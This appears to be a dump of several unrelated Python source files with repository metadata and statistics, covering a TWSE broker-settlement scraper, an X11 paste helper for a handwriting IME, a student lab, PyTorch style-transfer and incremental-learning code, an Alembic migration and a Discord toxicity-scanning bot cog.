import datetime import scrapy from scrapy.loader import ItemLoader from itemloaders.processors import MapCompose, TakeFirst from exchanges.twse.items import BranchSettlementItem from exchanges.twse.handlers import StockBranchHandler as Handler class BranchSettlementSpider(scrapy.Spider): name = 'twse_branch_settlement' allowed_domains = ['bsr.twse.com.tw'] date = datetime.date.today().strftime("%Y%m%d") def __init__(self, *args, **kwargs): super(BranchSettlementSpider, self).__init__(*args, **kwargs) self.processed = self.total = [] def start_requests(self): self.logger.info(f'Parsing date: {self.date}') self.total = Handler.load_symbols() if self.total: for symbol in self.total: req = Handler.new_request(symbol, self.parse, self.on_error) yield scrapy.Request(**req) else: req = Handler.stocks_request(self.date, self.parse_stocks, None) yield scrapy.Request(**req) def parse_stocks(self, response): self.total = Handler.get_symbols(response) for symbol in self.total: req = Handler.new_request(symbol, self.parse, self.on_error) yield scrapy.Request(**req) def parse(self, response): if Handler.check_download_link(response): yield scrapy.Request(url=Handler.content_url, meta=response.meta, encoding='cp950', callback=self.parse_csv, errback=self.on_error, dont_filter=True) else: response.meta['form'] = Handler.new_form(response) yield scrapy.Request(url=Handler.get_img_url(response), meta=response.meta, callback=self.parse_img, errback=self.on_error, dont_filter=True) def parse_img(self, response): form = response.meta['form'] form = Handler.update_form(response, form) yield scrapy.FormRequest(url=Handler.menu_url, meta=response.meta, formdata=form, callback=self.parse, errback=self.on_error, dont_filter=True) def parse_csv(self, response): rows = response.body_as_unicode().split('\n') rows = [row for row in rows if row.count(',') == 10 and ('券商' not in row)] for row in rows: row = row.split(',') yield self.parse_raw(response.meta['symbol'], row[1:5]) yield self.parse_raw(response.meta['symbol'], row[7:]) self.processed.append(response.meta['symbol']) self.logger.info(f"({len(self.processed)}/{len(self.total)}) {response.meta['symbol']} [{len(rows)} rows]") def parse_raw(self, symbol, raw): terms = BranchSettlementItem.Meta.fields loader = ItemLoader(item=BranchSettlementItem()) loader.default_input_processor = MapCompose(str, str.strip) loader.default_output_processor = TakeFirst() loader.add_value('date', self.date) loader.add_value('code', symbol) for idx, field in enumerate(terms): loader.add_value(field, raw[idx]) return loader.load_item() def on_error(self, failure): symbol = failure.request.meta['symbol'] req = Handler.new_request(symbol, self.parse, self.on_error) yield scrapy.Request(**req) @classmethod def from_crawler(cls, crawler, *args, **kwargs): spider = super().from_crawler(crawler, *args, **kwargs) crawler.signals.connect(spider.spider_closed, signal=scrapy.signals.spider_closed) return spider def spider_closed(self, spider): least = set(self.total) - set(self.processed) self.logger.info(f"Write {len(least)} symbol cache") Handler.write_symbols(least)

42.636364

115

0.646322

457

3,752

5.172867

0.28884

0.050761

0.027919

0.035533

0.240271

0.22758

0.181472

0.167936

0.135787

0.101946

0

0.002781

0.233209

3,752

87

116

43.126437

0.818909

0

0.150685

0

0.013699

0.0629

0.023454

0

1

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false

0

0.082192

0

0.30137

0

null

0

null

0

1

0

a8597d6a58d9a1c42b4658050b83da78b2549954

2,057

py

Python

gnome-helper.py

Saren-Arterius/google-chinese-handwriting-ime

f24d0fc1d9b7ab08aab8afa545247d560eefe293

[ "CC0-1.0" ]

75

2018-01-21T22:57:34.000Z

2021-11-12T05:53:57.000Z

gnome-helper.py

Saren-Arterius/google-chinese-handwriting-ime

f24d0fc1d9b7ab08aab8afa545247d560eefe293

[ "CC0-1.0" ]

8

2018-01-23T11:42:25.000Z

2022-03-25T18:47:59.000Z

gnome-helper.py

Saren-Arterius/google-chinese-handwriting-ime

f24d0fc1d9b7ab08aab8afa545247d560eefe293

[ "CC0-1.0" ]

9

2018-01-22T07:36:33.000Z

2021-05-07T12:59:37.000Z

#!/usr/bin/env python3 from time import sleep from sys import argv import pyperclip import ctypes X11 = ctypes.CDLL("libX11.so") CLIPBOARD_WAIT_DELAY = 0.2 class Display(ctypes.Structure): """ opaque struct """ class XKeyEvent(ctypes.Structure): _fields_ = [ ('type', ctypes.c_int), ('serial', ctypes.c_ulong), ('send_event', ctypes.c_int), ('display', ctypes.POINTER(Display)), ('window', ctypes.c_ulong), ('root', ctypes.c_ulong), ('subwindow', ctypes.c_ulong), ('time', ctypes.c_ulong), ('x', ctypes.c_int), ('y', ctypes.c_int), ('x_root', ctypes.c_int), ('y_root', ctypes.c_int), ('state', ctypes.c_uint), ('keycode', ctypes.c_uint), ('same_screen', ctypes.c_int), ] class XEvent(ctypes.Union): _fields_ = [ ('type', ctypes.c_int), ('xkey', XKeyEvent), ('pad', ctypes.c_long * 24), ] X11.XOpenDisplay.restype = ctypes.POINTER(Display) def linux_send_key(code, mask): display = X11.XOpenDisplay(None) winFocus = ctypes.c_ulong() retval = ctypes.c_ulong() X11.XGetInputFocus(display, ctypes.byref( winFocus), ctypes.byref(retval)) k = XEvent(type=2).xkey k.state = mask k.keycode = X11.XKeysymToKeycode(display, code) # ctrl k.root = X11.XDefaultRootWindow(display) k.window = winFocus X11.XSendEvent(display, k.window, True, 1, ctypes.byref(k)) X11.XCloseDisplay(display) def linux_backspace(): linux_send_key(0xff08, 0) def linux_paste(): linux_send_key(0x0076, 4) # Ctrl def type_char(char): was = None try: was = pyperclip.paste() except: pass pyperclip.copy(char) # call(["xdotool", "key", "CTRL+V"], False) linux_paste() if was is not None: sleep(CLIPBOARD_WAIT_DELAY) pyperclip.copy(was) if __name__ == '__main__': while True: data = input() if data == 'bs!!': linux_backspace() else: type_char(data)

25.7125

63

0.600875

254

2,057

4.669291

0.38189

0.106239

0.067454

0.028668

0.033727

0

0.022727

0.251337

2,057

80

64

25.7125

0.747403

0.042781

0

0.059701

0

0.060714

0

0.006122

0

1

0.059701

false

0.014925

0.059701

0

0.19403

0

null

0

null

0

1

0

a859d985eea327c0dbbd79bbb9765350b4d53fbb

1,594

py

Python

lab4/lab4_loops_and_pi.py

macarl08/esc180_coursework

16f2adda1f35875b91020e72cb4180d2e45690ce

[ "MIT" ]

null

lab4/lab4_loops_and_pi.py

macarl08/esc180_coursework

16f2adda1f35875b91020e72cb4180d2e45690ce

[ "MIT" ]

null

lab4/lab4_loops_and_pi.py

macarl08/esc180_coursework

16f2adda1f35875b91020e72cb4180d2e45690ce

[ "MIT" ]

null

# ESC180 Lab 4 # loops_and_pi.py # Oct 5, 2021 # Done in collaboration by: # Ma, Carl Ka To (macarl1) and # Xu, Shen Xiao Zhu (xushenxi) import math # Problem 1 def count_evens(L): s = 0 for num in L: if num % 2 == 0: s += 1 return s # Problem 2 def list_to_str(lis): s = "[" for num in lis: s += str(num) + ", " s = s.rstrip(", ") s += "]" return s def lists_are_the_same(list1, list2): if len(list1) == len(list2): for i in range(len(list1)): if list1[i] == list2[i]: continue else: return False else: return False return True steps1 = [0] def simpify_fraction(n, m): big = max(n,m) for i in range(big, 0, -1): n1 = n / i m1 = m / i steps1[0] += 1 if n1 == int(n1) and m1==int(m1): return str(int(n1)) + "/" + str(int(m1)) return str(n) + "/" + str(m) def count_terms(n): sum = 0 i = 0 while True: sum += (-1)**i/(2*i+1) i+=1 pi = 4* sum if int(pi*(10**(n-1))) == int(math.pi*(10**(n-1))): print(pi) return i steps2 = [0] def euclid(n, m): if n==0: return m steps2[0] += 1 return euclid(m % n, n) a = [1,2,3,4,5] b = [1,2,3,4,5] c = [2,3,4,5,1] print("Problem 1") print(count_evens(a)) print() print("Problem 2") print(list_to_str(a)) print() print("Problem 3") print(lists_are_the_same(a,b)) print(lists_are_the_same(a,c)) print() print("Problem 4") print(simpify_fraction(1, 2)) print(simpify_fraction(16, 12)) print() print("Problem 5") print(count_terms(5)) print() print("Problem 6") steps1 = [0] steps2 = [0] print(simpify_fraction(2322,654)) print(euclid(2322,654)) print(steps1[0], steps2[0])

15.326923

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0.59724

299

1,594

3.107023

0.274247

0.077503

0.091496

0.048439

0.055974

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0

0.084585

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1,594

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0

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0

1

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false

0

0.013158

0

0.223684

0.289474

0

null

0

null

0

1

0

a85a9316f8024e1e5d4bd7e60047a91413b93401

2,875

py

Python

lib/dataset.py

Limbicnation/ada-conv-pytorch

434e77d8987dd8bb9d4ba9612178688e2117e2cf

[ "MIT" ]

43

2021-11-01T03:59:58.000Z

2022-03-28T19:03:00.000Z

lib/dataset.py

Limbicnation/ada-conv-pytorch

434e77d8987dd8bb9d4ba9612178688e2117e2cf

[ "MIT" ]

3

2021-11-04T03:24:34.000Z

2022-02-04T09:25:59.000Z

lib/dataset.py

Limbicnation/ada-conv-pytorch

434e77d8987dd8bb9d4ba9612178688e2117e2cf

[ "MIT" ]

5

2021-12-14T08:31:08.000Z

2022-03-13T03:01:12.000Z

import random import warnings from pathlib import Path from PIL import Image from torch.utils.data import IterableDataset, Dataset from torchvision.transforms import ToTensor, Compose, Resize, CenterCrop from torchvision.utils import save_image def files_in(dir): return list(sorted(Path(dir).glob('*'))) def save(img_tensor, file): if img_tensor.ndim == 4: assert len(img_tensor) == 1 save_image(img_tensor, str(file)) def load(file): img = Image.open(str(file)) img = img.convert('RGB') return img def style_transforms(size=256): # Style images must be 256x256 for AdaConv return Compose([ Resize(size=size), # Resize to keep aspect ratio CenterCrop(size=(size, size)), # Center crop to square ToTensor()]) def content_transforms(min_size=None): # min_size is optional as content images have no size restrictions transforms = [] if min_size: transforms.append(Resize(size=min_size)) transforms.append(ToTensor()) return Compose(transforms) class StylizationDataset(Dataset): def __init__(self, content_files, style_files, content_transform=None, style_transform=None): self.content_files = content_files self.style_files = style_files id = lambda x: x self.content_transform = id if content_transform is None else content_transform self.style_transform = id if style_transform is None else style_transform def __getitem__(self, idx): content_file, style_file = self.files_at_index(idx) content_img = load(content_file) style_img = load(style_file) content_img = self.content_transform(content_img) style_img = self.style_transform(style_img) return { 'content': content_img, 'style': style_img, } def __len__(self): return len(self.content_files) * len(self.style_files) def files_at_index(self, idx): content_idx = idx % len(self.content_files) style_idx = idx // len(self.content_files) assert 0 <= content_idx < len(self.content_files) assert 0 <= style_idx < len(self.style_files) return self.content_files[content_idx], self.style_files[style_idx] class EndlessDataset(IterableDataset): """ Wrapper for StylizationDataset which loops infinitely. Usefull when training based on iterations instead of epochs """ def __init__(self, *args, **kwargs): self.dataset = StylizationDataset(*args, **kwargs) def __iter__(self): while True: idx = random.randrange(len(self.dataset)) try: yield self.dataset[idx] except Exception as e: files = self.dataset.files_at_index(idx) warnings.warn(f'\n{str(e)}\n\tFiles: [{str(files[0])}, {str(files[1])}]')

29.336735

97

0.66887

368

2,875

5.005435

0.30163

0.053746

0.060803

0.04126

0.046688

0.031488

0

0.006824

0.235478

2,875

97

98

29.639175

0.83121

0.094261

0

0.015625

0.027509

0

0.046875

1

0.171875

false

0

0.109375

0.046875

0.421875

0

null

0

null

0

1

0

a85aabbf97ddbf8fe98bb57622389b4ce5f6c670

285

py

Python

pypxl/__init__.py

Kile/pypxl

0aabe5492386bffc1e246100cb55448bbac521ec

[ "MIT" ]

1

2021-04-02T09:05:33.000Z

pypxl/__init__.py

Kile/pypxl

0aabe5492386bffc1e246100cb55448bbac521ec

[ "MIT" ]

null

pypxl/__init__.py

Kile/pypxl

0aabe5492386bffc1e246100cb55448bbac521ec

[ "MIT" ]

null

""" pypxl - an asyncronous wrapper for pxlapi (pxlapi.dev) :copyright: (c) 2021 Kile :license: MIT, see LICENSE for more details """ __title__ = "pypxl" __author__ = "Kile" __license__ = "MIT" __copyright__ = "Copyright 2021 Kile" __version__ = "0.2.3" from .client import PxlClient

20.357143

54

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0.702703

0.086022

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0

0.045643

0.154386

285

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20.357143

0.726141

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false

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0.166667

0

0.166667

0

null

0

null

0

1

0

a85bb1f21a2eedc8117779c68d0a353233875e12

17,848

py

Python

multiple_auto_decay.py

aliayub7/EEC

ffb65e6701f5316b69c1ef3c3c130f00b73a18da

[ "MIT" ]

6

2021-05-25T03:21:07.000Z

2021-11-18T13:38:10.000Z

multiple_auto_decay.py

aliayub7/EEC

ffb65e6701f5316b69c1ef3c3c130f00b73a18da

[ "MIT" ]

null

multiple_auto_decay.py

aliayub7/EEC

ffb65e6701f5316b69c1ef3c3c130f00b73a18da

[ "MIT" ]

1

2021-05-25T12:07:49.000Z

import numpy as np import sys import os import time import pickle from PIL import Image from copy import deepcopy import random from sklearn.model_selection import train_test_split import json #from multiprocessing import Pool as cpu_pool import torch import torch.nn as nn import torch.optim as optim import torchvision import torchvision.transforms as transforms from models.resnet import resnet18 from models.resnet import resnet34 import torch.nn.functional as F from get_incremental_data import getIncrementalData from get_transformed_data_with_decay import getTransformedData from get_previous_data import getPreviousData #from get_transformed_data import getTransformedData from my_models.new_shallow import auto_shallow from training_functions import train_reconstruction from training_functions import eval_reconstruction from training_functions import get_embeddings from training_functions import get_pseudoimages from training_functions import train from training_functions import eval_training from training_functions import train_with_decay from training_functions import eval_training_with_decay from get_centroids import getCentroids from Functions_new import get_pseudoSamples from label_smoothing import LSR #seed = random.randint(0,1000) seed = 7 np.random.seed(seed) torch.manual_seed(seed) random.seed(seed) if __name__ == '__main__': dataset_name = 'imagenet' features_name = 'multiple_65000' save_data = False use_saved_images = True path_to_previous = '/home/ali/Ali_Work/clean_autoencoder_based/Imagenet-50/previous_classes' validation_based = False if dataset_name == 'imagenet': path_to_train = '/media/ali/860 Evo/ali/ILSVRC2012_Train' path_to_test = '/media/ali/860 Evo/ali/ILSVRC2012_Test' # incremental steps info total_classes = 10 full_classes = 1000 limiter = 50 # Image transformation mean and std imagenet_mean = [0.485, 0.456, 0.406] imagenet_std = [0.229, 0.224, 0.225] # hyperparameters weight_decay = 5e-4 classify_lr = 0.1 reconstruction_lr = 0.001 reconstruction_epochs = 100 classification_epochs = 70 batch_size = 64 sample_decay_coeff = 0.05 decay_type = 'exponential' # for centroids distance_threshold = 5000 get_covariances = True diag_covariances = True clustering_type = 'k_means' centroids_limit = 10000 centroid_finder = getCentroids(None,None,total_classes,seed=seed,get_covariances=get_covariances,diag_covariances=diag_covariances,centroids_limit=centroids_limit) # autoencoders_set auto_1 = auto_shallow(total_classes,seed=seed) auto_2 = auto_shallow(total_classes,seed=seed) auto_3 = auto_shallow(total_classes,seed=seed) auto_4 = auto_shallow(total_classes,seed=seed) auto_5 = auto_shallow(total_classes,seed=seed) auto_1 = auto_1.cuda() auto_2 = auto_2.cuda() auto_3 = auto_3.cuda() auto_4 = auto_4.cuda() auto_5 = auto_5.cuda() autoencoder_set = [auto_1,auto_2,auto_3,auto_4,auto_5] #classifier classify_net = resnet18(total_classes) #classify_net = resnet18(limiter) # loss functions and optimizers #loss_classify = nn.CrossEntropyLoss() loss_classify = LSR(reduction='none') loss_rec = nn.MSELoss() # Variable to generate incremental data incremental_data_creator = getIncrementalData(path_to_train,path_to_test,full_classes=full_classes,seed=seed) incremental_data_creator.incremental_data(total_classes=total_classes,limiter=limiter) # define transforms transforms_classification_train = transforms.Compose([ transforms.ToPILImage(), transforms.Resize(32), transforms.RandomCrop(32, padding=4), transforms.RandomHorizontalFlip(), transforms.RandomRotation(15), transforms.ToTensor(), transforms.Normalize(imagenet_mean,imagenet_std) ]) transforms_classification_test = transforms.Compose([ transforms.ToPILImage(), transforms.Resize(32), transforms.CenterCrop(32), transforms.ToTensor(), transforms.Normalize(imagenet_mean,imagenet_std) ]) transforms_reconstruction = transforms.Compose([ transforms.ToPILImage(), transforms.Resize(32), transforms.CenterCrop(32), transforms.ToTensor(), transforms.Normalize(imagenet_mean,imagenet_std) ]) ################################# INCREMENTAL LEARNING PHASE ################################## complete_x_train = [] complete_y_train = [] complete_x_test = [] complete_y_test = [] complete_centroids = [] complete_covariances = [] complete_centroids_num = [] ages = [] training_accuracies = [] Accus = [] full_classes = limiter for increment in range(0,int(full_classes/total_classes)): print ('This is increment number: ',increment) # get data for the current increment train_images_increment,train_labels_increment,test_images_increment,test_labels_increment = incremental_data_creator.incremental_data_per_increment(increment) if increment==0: previous_images = deepcopy(train_images_increment) previous_labels = deepcopy(train_labels_increment) current_increment_ages = [1.0 for x in range(len(train_labels_increment))] else: previous_images = [] previous_labels = [] most_recent_images = [] most_recent_labels = [] if use_saved_images: starter = len(complete_centroids)-total_classes else: starter = 0+(increment-1)*total_classes for i in range(starter,len(complete_centroids)): temp = complete_centroids[i] # feature vectors for class i previous_labels.extend([i for x in range(0,len(complete_centroids[i]))]) # labels for class i if i>=(len(complete_centroids)-total_classes): most_recent_labels.extend([i for x in range(0,len(complete_centroids[i]))]) # converting to Torch format temp = np.array(temp) temp = torch.from_numpy(temp) temp = temp.float() # convert feature vectors to images by passing them through the decoder temp_images,_ = get_pseudoimages(autoencoder_set[increment-1],temp,class_number=i,seed=seed) temp_images = list(temp_images) if i>=(len(complete_centroids)-total_classes): most_recent_images.extend(temp_images) # update the overall images variable for the previous classes if use_saved_images == False: previous_images.extend(temp_images) if use_saved_images: # For loading previous class' reconstructed images previous_data_creator = getPreviousData(path_to_previous,total_classes=total_classes+(increment-1)*total_classes,seed=seed) previous_images,previous_labels = previous_data_creator.previous_data() # Finding sample decay previous_dataset = getTransformedData(most_recent_images,most_recent_labels,transform=transforms_classification_train,seed=seed) previous_loader = torch.utils.data.DataLoader(previous_dataset,batch_size = batch_size, shuffle=True, num_workers = 4) new_accuracy = eval_training_with_decay(classify_net,previous_loader,loss_classify,seed) new_accuracy = new_accuracy.cpu().numpy().tolist() sample_decay_coeff = 1 - (new_accuracy/training_accuracies[increment-1]) #new_ages = [np.exp(-sample_decay_coeff*1.0) for x in range(0,len(most_recent_images))] new_ages = [np.exp(-sample_decay_coeff*0.0) for x in range(0,len(most_recent_images))] # for no decay ages.extend(new_ages) current_increment_ages = deepcopy(ages) current_increment_ages.extend([1.0 for x in range(len(train_labels_increment))]) print ('previous images',np.array(previous_images).shape) print ('previous labels',np.array(previous_labels).shape) # append images of the new classes previous_images.extend(train_images_increment) previous_labels.extend(train_labels_increment) print ('total train images',np.array(previous_images).shape) print ('total train labels',np.array(previous_labels).shape) # complete x test update with new classes' test images complete_x_test.extend(test_images_increment) complete_y_test.extend(test_labels_increment) if validation_based: # Creating a validation split x_train,x_test,y_train,y_test = train_test_split(previous_images,previous_labels,test_size=0.2,stratify=previous_labels) else: # otherwise just rename variables x_train = previous_images y_train = previous_labels #x_test = complete_x_test #y_test = complete_y_test ############################## Classifier Training ###################################### # get dataloaders train_dataset_classification = getTransformedData(x_train,y_train,transform=transforms_classification_train,seed=seed,ages=current_increment_ages) test_dataset_classification = getTransformedData(complete_x_test,complete_y_test,transform=transforms_classification_test,seed=seed) dataloaders_train_classification = torch.utils.data.DataLoader(train_dataset_classification,batch_size = batch_size, shuffle=True, num_workers = 4) dataloaders_test_classification = torch.utils.data.DataLoader(test_dataset_classification,batch_size = batch_size, shuffle=False, num_workers = 4) if validation_based: val_dataset_classification = getTransformedData(x_test,y_test,transform=transforms_classification_test,seed=seed) dataloaders_val_classification = torch.utils.data.DataLoader(val_dataset_classification,batch_size = batch_size, shuffle=False, num_workers = 4) # update classifier's fc layer and optimizer classify_net.fc = nn.Linear(512,total_classes+(total_classes*increment)) optimizer = optim.SGD(classify_net.parameters(),lr=classify_lr,weight_decay=weight_decay,momentum=0.9) train_scheduler = optim.lr_scheduler.MultiStepLR(optimizer, milestones=[60,120,160], gamma=0.2) #learning rate decay classify_net = classify_net.cuda() # for faster training times after the first increment if increment>0: classification_epochs = 45 train_scheduler = optim.lr_scheduler.MultiStepLR(optimizer, milestones=[37], gamma=0.1) #learning rate decay # load the classifier from file if it has already been trained on the classes of this increment classifier_path = './checkpoint/'+str(total_classes+(increment*total_classes))+"classes_"+dataset_name if os.path.exists(classifier_path): classify_net.load_state_dict(torch.load(classifier_path)) epoch_acc = eval_training_with_decay(classify_net,dataloaders_test_classification,loss_classify,seed=seed) Accus.append(epoch_acc.cpu().numpy().tolist()) else: since = time.time() best_acc = 0.0 for epoch in range(0, classification_epochs): classification_loss = train_with_decay(classify_net,dataloaders_train_classification,optimizer,loss_classify,seed=seed) print ('epoch:', epoch, ' classification loss:', classification_loss, ' learning rate:', optimizer.param_groups[0]['lr']) train_scheduler.step(epoch) if validation_based: epoch_acc = eval_training_with_decay(classify_net,dataloaders_val_classification,loss_classify,seed=seed) if epoch_acc>=best_acc: best_acc = epoch_acc best_model_wts = deepcopy(classify_net.state_dict()) print (' ') time_elapsed = time.time() - since print('Training complete in {:.0f}m {:.0f}s'.format(time_elapsed // 60, time_elapsed % 60)) if validation_based: #print ('best_acc',best_acc) classify_net.load_state_dict(best_model_wts) epoch_acc = eval_training_with_decay(classify_net,dataloaders_test_classification,loss_classify,seed=seed) print ('test_acc',epoch_acc) Accus.append(epoch_acc.cpu().numpy().tolist()) if validation_based: torch.save(best_model_wts, "./checkpoint/"+str(total_classes+(increment*total_classes))+"classes_"+dataset_name) else: torch.save(classify_net.state_dict(),"./checkpoint/"+str(total_classes+(increment*total_classes))+"classes_"+dataset_name) # find training accuracy of images of this increment current_dataset = getTransformedData(train_images_increment,train_labels_increment,transform=transforms_classification_train,seed=seed) current_loader = torch.utils.data.DataLoader(current_dataset,batch_size = batch_size, shuffle=True, num_workers = 4) print('Finding Training Accuracy') new_accuracy = eval_training_with_decay(classify_net,current_loader,loss_classify,seed) new_accuracy = new_accuracy.cpu().numpy().tolist() training_accuracies.append(new_accuracy) ############################## Autoencoder Training ###################################### # get dataloaders train_dataset_reconstruction = getTransformedData(train_images_increment,train_labels_increment, transform=transforms_reconstruction,seed=seed) test_dataset_reconstruction = getTransformedData(test_images_increment,test_labels_increment,transform=transforms_reconstruction,seed=seed) dataloaders_train_reconstruction = torch.utils.data.DataLoader(train_dataset_reconstruction,batch_size = batch_size, shuffle=True, num_workers = 4) dataloaders_test_reconstruction = torch.utils.data.DataLoader(test_dataset_reconstruction,batch_size = batch_size, shuffle=True, num_workers = 4) for_embeddings_dataloader = torch.utils.data.DataLoader(train_dataset_reconstruction,batch_size = batch_size, shuffle=False, num_workers = 4) # load the autoencoder from file if it has already been trained on the classes of this increment autoencoder_path = './checkpoint/autoencoder_'+str(total_classes+(increment*total_classes))+"classes_"+dataset_name if os.path.exists(autoencoder_path): autoencoder_set[increment].load_state_dict(torch.load(autoencoder_path)) else: optimizer_rec = optim.Adam(autoencoder_set[increment].parameters(), lr=reconstruction_lr, weight_decay=weight_decay) train_scheduler_rec = optim.lr_scheduler.MultiStepLR(optimizer_rec, milestones=[50], gamma=0.1) #learning rate decay since = time.time() best_loss = 100.0 for epoch in range(1, reconstruction_epochs): #reconstruction_loss = train_reconstruction(autoencoder_set[increment],dataloaders_train_reconstruction, #optimizer_rec,loss_rec,lambda_based=True,classify_net=classify_net,seed=seed,epoch=epoch) reconstruction_loss = train_reconstruction(autoencoder_set[increment],dataloaders_train_reconstruction,optimizer_rec,loss_rec,seed=seed,epoch=epoch) print ('epoch:', epoch, ' reconstruction loss:', reconstruction_loss) train_scheduler_rec.step(epoch) """ #test_loss = eval_reconstruction(net,dataloaders_test_reconstruction,loss_rec,seed=seed) test_loss = eval_reconstruction(autoencoder_set[increment],dataloaders_test_reconstruction,loss_rec,seed=seed) if test_loss<=best_loss: best_loss = test_loss #best_model_wts = deepcopy(net.state_dict()) best_model_wts = deepcopy(autoencoder_set[increment].state_dict()) """ time_elapsed = time.time() - since print('Training complete in {:.0f}m {:.0f}s'.format(time_elapsed // 60, time_elapsed % 60)) print (' ') #autoencoder_set[increment].load_state_dict(best_model_wts) if validation_based: torch.save(best_model_wts, "./checkpoint/autoencoder_"+str(total_classes+(increment*total_classes))+"classes_"+dataset_name) else: torch.save(autoencoder_set[increment].state_dict(), "./checkpoint/autoencoder_"+str(total_classes+(increment*total_classes))+"classes_"+dataset_name) # get embeddings from the trained autoencoder embeddings = get_embeddings(autoencoder_set[increment],for_embeddings_dataloader,total_classes,seed=seed,increment=increment) print ('embeddings',np.array(embeddings).shape) complete_centroids.extend(embeddings) print ('complete centroids',np.array(complete_centroids).shape) print ('All accuracies yet', Accus) experimental_data = dict() experimental_data['seed'] = seed experimental_data['acc'] = Accus if save_data == True: with open('data.json','r') as f: data=json.load(f) if features_name not in data: data[features_name] = dict() data[features_name][str(len(data[features_name])+1)] = experimental_data with open('data.json', 'w') as fp: json.dump(data, fp, indent=4, sort_keys=True)

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0.059259

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null

0

null

0

1

0

a85bd223e0cf28db4979086843c4d74e26ddf230

1,038

py

Python

server/migrations/versions/cef206444493_finished_stockdata_model.py

J-Obog/market-simulator

90446f42a5f86f13785ea5010687a5e2c1fb2799

[ "MIT" ]

4

2021-08-09T03:05:08.000Z

2021-11-08T02:41:13.000Z

server/migrations/versions/cef206444493_finished_stockdata_model.py

J-Obog/market-simulator

90446f42a5f86f13785ea5010687a5e2c1fb2799

[ "MIT" ]

null

server/migrations/versions/cef206444493_finished_stockdata_model.py

J-Obog/market-simulator

90446f42a5f86f13785ea5010687a5e2c1fb2799

[ "MIT" ]

null

"""finished StockData model Revision ID: cef206444493 Revises: b2fc3cd134da Create Date: 2021-10-06 14:23:02.119153 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = 'cef206444493' down_revision = 'b2fc3cd134da' branch_labels = None depends_on = None def upgrade(): # ### commands auto generated by Alembic - please adjust! ### op.create_table('stock_data', sa.Column('id', sa.Integer(), nullable=False), sa.Column('stock_id', sa.Integer(), nullable=False), sa.Column('prev_close', sa.Float(decimal_return_scale=2), nullable=False), sa.Column('market_price', sa.Float(decimal_return_scale=2), nullable=False), sa.Column('timestamp', sa.DateTime(), nullable=False), sa.ForeignKeyConstraint(['stock_id'], ['stock.id'], ), sa.PrimaryKeyConstraint('id') ) # ### end Alembic commands ### def downgrade(): # ### commands auto generated by Alembic - please adjust! ### op.drop_table('stock_data') # ### end Alembic commands ###

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80

0.692678

130

1,038

5.415385

0.484615

0.056818

0.106534

0.119318

0.349432

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0.133523

0

0.057143

0.157033

1,038

36

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0.222222

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null

0

null

0

1

0

a85c0b24e4a6ca5d14ce9d591566527e4acac390

5,044

py

Python

cogs/scanner.py

MattBSG/Toxic-Classification-Bot

90e1558996452ec782c8dfecd801d8ddf8d69149

[ "MIT" ]

null

cogs/scanner.py

MattBSG/Toxic-Classification-Bot

90e1558996452ec782c8dfecd801d8ddf8d69149

[ "MIT" ]

null

cogs/scanner.py

MattBSG/Toxic-Classification-Bot

90e1558996452ec782c8dfecd801d8ddf8d69149

[ "MIT" ]

null

# -*- coding: utf-8 -*- import asyncio from datetime import datetime, timedelta import discord from discord.ext import commands from utils.checks import in_scan_channel class Rollback(Exception): pass class Scanner(commands.Cog): def __init__(self, bot): super().__init__() self.bot = bot self.messages = [] self.manual_check = False self.message_lock = asyncio.Lock() self.compute_lock = asyncio.Lock() @commands.Cog.listener() async def on_message(self, message: discord.Message): # Ignore prefix if message.content.startswith("f."): return if (message.author.id == self.bot.user.id): return # Ignore message not in scan channels if not in_scan_channel(self, message.channel.id): return async with self.message_lock: # Add messages to processing queue self.messages += [message] if len(self.messages) % 100 == 0 or len(self.messages) == 1: self.bot.logger.info(f"Added message {len(self.messages)}/{self.bot.config.get('min_scanned')}") await self.process_messages() @commands.is_owner() @commands.command("extract_messages") async def extract_messages_command(self, ctx: commands.Context, channel_id: str='', count: int=500): channel = self.bot.get_channel(int(channel_id)) reply = await ctx.send(f'1. Fetching {count} messages...') start = datetime.now() messages = await channel.history(limit=count).flatten() await reply.edit(content=f"{reply.content} Done ({(datetime.now()-start).total_seconds()} seconds)\n2. Waiting in model queue...") start = datetime.now() self.manual_check = True async with self.message_lock: # Add messages to processing queue self.messages += messages self.bot.logger.info(f"Added messages {len(self.messages)}/{self.bot.config.get('min_scanned')}") await self.process_messages(reply, start) async def process_messages(self, reply: discord.Message=None, start: datetime=None): async with self.compute_lock: # Load model cog nlp_cog = self.bot.get_cog('NLP') if nlp_cog is None: self.bot.logger.info("The cog \"NLP\" is not loaded") return # If enough messages were collected then start processing async with self.message_lock: if len(self.messages) < self.bot.config.get('min_scanned') or (self.manual_check and reply is None): if reply is not None: await reply.edit(content=f"{reply.content} Done ({(datetime.now()-start).total_seconds()} seconds)\n3. Not enough messages to scan {len(self.messages)}/{self.bot.config.get('min_scanned')}") return test_messages =self.messages.copy() self.messages = [] if reply is not None: await reply.edit(content=f"{reply.content} Done ({(datetime.now()-start).total_seconds()} seconds)\n3. Running model on {len(test_messages)} messages...") start = datetime.now() # Run model flags,new_reviews,logs = await asyncio.get_event_loop().run_in_executor(None, nlp_cog.compute_messages, test_messages) if reply is not None: content = f"{reply.content} Done ({(datetime.now()-start).total_seconds()} seconds)" for l in logs: content += f"\n\t{l}" content += f"\n>Flagged {len(flags)} messages and selected {len(new_reviews)} messages for the review queue." content += f"\n4. Sending flagged messages to <#{self.bot.config.get('flag_channel')}>..." await reply.edit(content=content) start = datetime.now() if len(flags) > 0: # Send flagged messages for flag in flags: await self.bot.get_channel(self.bot.config.get('flag_channel')).send(embed=flag) if reply is not None: await reply.edit(content=f"{reply.content} Done ({(datetime.now()-start).total_seconds()} seconds)\n5. Sending review messages to <#{self.bot.config.get('review_channel')}> or review queue...") start = datetime.now() # Load review queue cog review_queue_cog = self.bot.get_cog('ReviewQueue') if review_queue_cog is None: self.bot.logger.info("The cog \"ReviewQueue\" is not loaded") return # Add flagged messages to review queue await review_queue_cog.add_reviews_to_queue(new_reviews) if reply is not None: await reply.edit(content=f"{reply.content} Done ({(datetime.now()-start).total_seconds()} seconds)") self.manual_check = False def setup(bot): bot.add_cog(Scanner(bot))

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232

0.601705

622

5,044

4.762058

0.209003

0.042539

0.030722

0.037812

0.378123

0.359217

0.302498

0.253207

0

0.004413

0.281126

5,044

106

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47.584906

0.812466

0.059278

0

0.220779

0

0.064935

0.242181

0.106086

0

1

0.025974

false

0.012987

0.064935

0

0.155844

0

null

0

null

0

1

0

a85d442ed83636a731ffbcfcd4c75ba8be7db01f

6,710

py

Python

src/onegov/swissvotes/views/votes.py

politbuero-kampagnen/onegov-cloud

